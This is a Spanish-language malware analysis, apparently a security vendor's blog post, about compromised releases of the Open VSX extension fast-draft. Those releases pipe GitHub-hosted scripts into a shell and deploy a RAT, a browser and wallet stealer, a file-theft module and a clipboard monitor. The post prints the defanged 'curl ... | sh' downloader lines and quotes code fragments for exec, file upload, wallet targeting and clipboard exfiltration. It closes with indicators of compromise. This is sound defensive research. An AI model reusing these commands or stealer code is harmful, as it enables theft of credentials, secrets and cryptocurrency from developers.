Aikido

Extensión fast-draft Open VSX Comprometida por BlokTrooper

Escrito por
Raphael Silva

El KhangNghiem/fast-draft extensión, listada en open-vsx.org/extension/KhangNghiem/fast-draft y que ahora supera las 26.000 descargas, tuvo múltiples lanzamientos maliciosos que ejecutan un descargador alojado en GitHub y extraen un RAT y un infostealer de segunda etapa del repositorio BlokTrooper/extension. Los lanzamientos maliciosos confirmados en la línea de versiones que inspeccionamos son 0.10.89, 0.10.105, 0.10.106, y 0.10.112.

Lo que hace inusual este caso es que los lanzamientos maliciosos no son continuos. Las versiones hasta 0.10.88 parecen limpias. 0.10.111 también parece limpia, a pesar de que se encuentra entre versiones maliciosas, y el último lanzamiento de Open VSX a fecha de 17-03-2026, 0.10.135, tampoco contiene el mismo cargador. Ese patrón alternante es difícil de conciliar con un mantenedor que distribuye malware intencionadamente. La explicación más plausible es un editor comprometido o un token robado.

A fecha de 17-03-2026, la entrada de la API de Open VSX en open-vsx.org/api/KhangNghiem/fast-draft lista 0.10.135 como la última versión e informa de 26.594 descargas para la extensión en total. Revelamos el problema al mantenedor el 12-03-2026 a través de un issue de GitHub github.com/khangnghiem/fast-draft/issues/565, que seguía abierto sin comentarios en el momento de la redacción.

Qué Sucedió

Observar la línea de versiones en orden cuenta la historia:

  • 0.10.88: De aspecto limpio. Sin ruta de descarga conocida.
  • 0.10.89: Maliciosa. Introduce un descargador de shell alojado en GitHub dentro de la inicialización del editor.
  • 0.10.105: Maliciosa. Mueve el cargador a la activación de inicio y añade una protección de un solo uso.
  • 0.10.106: Maliciosa. Mismo cargador de inicio, pero se elimina la protección.
  • 0.10.111: De aspecto limpio. La ruta de descarga conocida desaparece.
  • 0.10.112: Maliciosa. El descargador de inicio regresa.
  • 0.10.129-135: De aspecto limpio. Últimas versiones comprobadas, descargador conocido ausente.

Ese no es el patrón de lanzamiento que se esperaría de una única compilación comprometida o de un mantenedor que ha cambiado completamente a un comportamiento malicioso. Parece más bien que dos flujos de lanzamiento competidores comparten la misma identidad de editor.

Cómo funcionó el ataque

Todas las versiones maliciosas utilizan el mismo truco básico: la extensión se conecta a raw[.]githubusercontent[.]com/BlokTrooper/extension y redirige la respuesta directamente a una shell.

En 0.10.89, la extensión obtiene scripts específicos de la plataforma del directorio scripts/ del repositorio:

curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/linux.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/mac.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/windows.cmd | cmd

En 0.10.105, 0.10.106, y 0.10.112, la misma idea se envuelve como un icons/${platform} fetch y se vincula a la activación de la extensión, probablemente también con la intención de evadir alguna detección.

Esos scripts de plataforma descargan archivos ZIP, los extraen en un directorio temporal y ejecutan un binario de Node empaquetado contra una carga útil temporal ofuscada. Ya desglosamos esa carga útil en un análisis separado. No es un stub de prueba inofensivo. Despliega cuatro módulos paralelos:

  • Un RAT de Socket.IO con control de ratón, teclado, captura de pantalla y portapapeles
  • Un ladrón de navegadores y carteras que se dirige a contraseñas guardadas, datos web y 25 extensiones de carteras de criptomonedas
  • Un módulo de exfiltración de archivos que sube recursivamente documentos, claves, configuraciones, código fuente y secretos
  • Un monitor de portapapeles que envía el contenido copiado de vuelta al C2

La infraestructura es la misma cadena BlokTrooper/extensión que desofuscamos previamente, con valores de configuración que se resuelven en 195[.]201[.]104[.]53, y puertos activos 6931, 6936, y 6939.

La Prueba Irrefutable

El malicioso 0.10.112 versión restaura la activación de inicio y el descargador directo de GitHub:

const fileName = platform === "win32" ? " | cmd" : " | sh";
const cdnUrl = `curl ${protocol}${separator}${host}${path2}${fileName}`;
(0, import_child_process.exec)(cdnUrl, (error, responses) => {...

La última compilación limpia verificada, 0.10.135, no muestra la misma ruta. Su lógica de activación registra el proveedor del editor y otros componentes de la extensión, pero el descargador de BlokTrooper está ausente.

Esa diferencia importa más que el ruido heurístico genérico de los escáneres estáticos. Este caso requirió una revisión manual versión por versión porque las compilaciones limpias aún incluyen la ejecución normal de procesos e integraciones de proveedores de IA que pueden parecer sospechosas para reglas simplistas.

Qué Hace Realmente la Segunda Etapa

La segunda etapa es donde esto pasa de ser un descargador sospechoso a un compromiso total.

El exterior temp envoltorio reconstruye la dirección C2 a partir de octetos IP codificados, suprime los errores de tiempo de ejecución con process.on('uncaughtException', ()=>{}), node -e. En otras palabras, la extensión no solo descarga una carga útil. Descarga un pequeño framework de ataque que se ramifica en trabajos concurrentes separados.

process.on(..., function(a7) {});
process.on(..., function(a7) {});
var Q = N.a;
var R = N.b;
var T = N.c;
var U = N.d;...
var a3 = ''.concat(Q, '.').concat(R, '.').concat(T, '.').concat(U);
var a4 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);
var a5 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);

Eso proviene directamente del envoltorio desofuscado y muestra al operador ocultando fallos mientras reconstruye cadenas IP a partir de campos de configuración en lugar de almacenarlas como texto plano.

ab = ...;
M(..., ['-e', ab], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ac = ...;
M(..., ['-e', ac], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ad = ...;
M(..., ['-e', ad], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ae = ...;
M(..., ['-e', ae], {
    windowsHide: true,
    detached: true,
    stdio: ...
});

Este es el punto de control clave de la etapa 2: un script lanzador inicia cuatro módulos separados en memoria y los desvincula para que puedan seguir ejecutándose de forma independiente en segundo plano.

Módulo 1: RAT de Escritorio Remoto

El primer proceso hijo se conecta de nuevo a http://195[.]201[.]104[.]53:6931 a través de Socket.IO y expone un canal completo de control remoto.

Soporta comandos para:

  • movimiento del ratón, clics y desplazamiento
  • pulsaciones de teclas y combinaciones de teclas
  • capturas de pantalla con compresión JPEG
  • lecturas y escrituras del portapapeles
  • consulta de dimensiones de pantalla
  • perfilado del sistema y control de sesión

El conjunto de dependencias incluido en el ZIP coincide exactamente con esas capacidades:

"node_modules/@nut-tree-fork/nut-js": {
    "version": "4.2.6"
}, "node_modules/clipboardy": {
    "version": "5.3.1"
}, "node_modules/screenshot-desktop": {
    "version": "1.15.3"
}, "node_modules/sharp": {
    "version": "0.34.5"
}, "node_modules/socket.io-client": {
    "version": "4.8.3"
}

Por sí solas, las dependencias no son suficientes para probar un comportamiento malicioso. En este caso, son relevantes porque coinciden con la disposición del módulo ya desofuscado: tareas remotas a través de Socket.IO, captura de escritorio, procesamiento de imágenes, acceso al portapapeles y automatización completa de teclado y ratón.

El payload también verifica si se está ejecutando en una VM buscando cadenas como vmware, virtualbox, qemu, kvm, y xen en la información del sistema específica de la plataforma. No se detiene cuando encuentra una VM. Simplemente etiqueta el host y continúa. También mantiene un bloqueo PID singleton bajo ~\/.npm\/ para que no apile múltiples instancias en la misma máquina.

Módulo 2: Robo de Navegadores y Carteras

El segundo proceso hijo recorre los perfiles de navegador de Chrome, Edge, Brave, Opera y LT Browser en macOS, Linux y Windows. Para cada perfil, roba:

  • Datos de inicio de sesión
  • Datos de inicio de sesión para la cuenta
  • Datos web
  • Estado de LevelDB de las extensiones de cartera

La focalización en carteras es amplia, no incidental. La lista codificada incluye MetaMask, Phantom, TronLink, Trust Wallet, Coinbase Wallet, OKX, Solflare, Rabby, Keplr, UniSat, Enkrypt, Bitget, SafePal, TON Wallet, Petra, Pontem, Nami, Sender, Slope, Halo y CoinStats, entre otras. En macOS también captura ~\/Library\/Keychains\/login.keychain.

Los datos se preparan en ~/npm-cache/__tmp__/cldbs/ y se suben a http://195[.]201[.]104[.]53:6936/upload. Después del barrido inicial, el ladrón sigue sondeando en busca de nuevos archivos LevelDB aproximadamente cada 100 segundos, lo que significa que está diseñado para detectar cambios en el estado de la cartera a lo largo del tiempo en lugar de realizar un único robo rápido.

Una decodificación reciente de la etapa 2 nos da una visión más clara del módulo de robo de navegador. Codifica de forma rígida los IDs de extensión de la cartera y luego itera sobre los datos del perfil del navegador, las bases de datos de inicio de sesión y el estado de la extensión respaldado por LevelDB:

const wps = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "jblndlipeogpafnldhgmapagcccfchpi"];
await c[z(0x238)](uf, g + '/' + j + z(0x241));
await c[z(0x22b)](uf, g + '/' + j + z(0x1ee));
await c[z(0x1d6)](uf, g + '/' + j + z(0x208));
for (let k of wps) {
    const l = g + '/' + j + z(0x248) + k;

En el mismo blob decodificado, esas constantes de ruta se resuelven en /Login Data, /Login Data For Account, /Web Data, y /Local Extension Settings/, mientras que el cargador utiliza FormData, fs.createReadStream, /cldbs, y /upload.

const f = new FormData();
f.append(e[y(0x1fc)], fs[y(0x20e)](c));
const g = await axios[y(0x1e4)](uu, f, {
    headers: {
        ...f[y(0x239)](),
        path: d[y(0x1fb)](e[y(0x21a)], e[y(0x1ba)])
    }
});

Módulo 3: Robo de Documentos y Secretos

El tercer proceso hijo escanea recursivamente el directorio de inicio, o todas las unidades en Windows, en busca de archivos sensibles. Los patrones objetivo incluyen:

  • *.docx, *.xlsx, *.xls, *.csv, *.pdf, *.doc, *.odt, *.rtf
  • *.md, *.txt, *.js, *.ts, *.json, *.ini
  • *.env*, *.pem, *.secret
  • formatos de imagen comunes

La lista de exclusión también es reveladora. Omite rutas ruidosas como node_modules, .git, dist, y build, pero también omite explícitamente carpetas como .windsurf, .pearai, .claude, .cursor, .brownie, y openzeppelin. Esto sugiere que el operador no solo está robando archivos al azar. Saben que las máquinas de desarrolladores, las herramientas de criptografía y los entornos de codificación asistida por IA son objetivos de alto valor.

Las cadenas decodificadas de robo de archivos son explícitas tanto sobre lo que se recopila como sobre lo que se omite:

const u = [".github", "*.env*", ".sqlite", "*.csv", "*.pdf", ".zsh_history", ".ssh", ".pub-cache", ".vscode"];
"node_modules", ".brownie", "AppData", "*.docx", ".cursor", ".claude", "openzeppelin", ".windsurf"

Esto está optimizado para estaciones de trabajo de desarrolladores, árboles de código fuente, material clave, historial de shell y estado local de alto valor de entornos de codificación modernos.

Módulo 4: Vigilancia del Portapapeles

El cuarto proceso hijo sondea el portapapeles cada pocos segundos y espera a que el contenido se estabilice antes de enviarlo al C2.

  • En macOS utiliza pbpaste
  • En Windows recurre a powershell -NoProfile -NonInteractive Get-Clipboard
  • En Linux recurre a clipboardy

El contenido modificado del portapapeles se envía a /api/service/makelog, lo que significa que las frases semilla, contraseñas, claves API y códigos de recuperación copiados pueden ser exfiltrados incluso si nunca se escriben en el disco.

El blob de cadena decodificada del módulo del portapapeles es inusualmente directo:

"/api/service/makelog","pbpaste","powershell -NoProfile -NonInteractive Get-Clipboard","child_process","http://"

Esas cadenas se encuentran juntas en el código del portapapeles de la etapa 2 y coinciden con el comportamiento anterior que observamos durante la desofuscación: recopilación de portapapeles específica de la plataforma seguida del envío a la ruta de registro del operador.

La Brecha Limpia Importa

Las versiones limpias son lo que hace que valga la pena analizar este caso como un probable compromiso del editor en lugar de simplemente “una extensión se volvió maliciosa”.

Comprobamos manualmente 0.10.88, 0.10.111, y 0.10.129-135 los indicadores concretos presentes en las compilaciones maliciosas:

  • raw[.]githubusercontent[.].com/BlokTrooper
  • el guard fd.onlyOncePlease utilizado por el cargador de inicio
  • socket.io-client
  • /upload
  • /cldbs
  • pbpaste
  • Get-Clipboard

Esos indicadores conocidos estaban ausentes en las versiones de aspecto limpio, y su flujo de activación parecía un registro de extensión normal en lugar de un descargador. Esto es especialmente importante para 0.10.111, que se encuentra justo entre las maliciosas 0.10.106 y 0.10.112, y para 0.10.135, que es actualmente la última versión de Open VSX.

Si el mantenedor estuviera distribuyendo el malware a sabiendas, el historial de versiones probablemente permanecería malicioso hasta su descubrimiento o limpieza. En cambio, vemos cómo las versiones maliciosas aparecen y desaparecen mientras el problema público sigue sin respuesta. Esto es consistente con un acceso de publicación robado o algún otro compromiso de la ruta de lanzamiento.

Indicadores de Compromiso

  • ID de extensión: KhangNghiem.fast-draft
  • Versiones maliciosas: 0.10.89, 0.10.105, 0.10.106, 0.10.112
  • Host de Etapa 1: raw[.]githubusercontent[.].com/BlokTrooper/extension
  • IP del C2: 195[.]201[.]104[.]53
  • Puertos: 6931, 6936, 6939
  • Rutas de exfiltración: /upload, /cldbs, /api/service/makelog

Compartir:

https://www.aikido.dev/blog/fast-draft-open-vsx-bloktrooper

Empieza hoy, gratis.

Empieza gratis
Sin tarjeta

Suscríbase para recibir noticias sobre amenazas.

4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar
Compruebe si está en riesgo

Escanee sus dependencias en busca de paquetes maliciosos

Empiece ahora

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.